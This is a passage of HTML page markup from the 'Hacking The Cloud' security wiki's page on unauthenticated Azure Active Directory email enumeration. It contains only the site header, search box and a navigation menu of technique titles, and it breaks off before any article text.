-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unauthenticated-enumeration-of-valid-azure-active-directory-email-addresses class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span 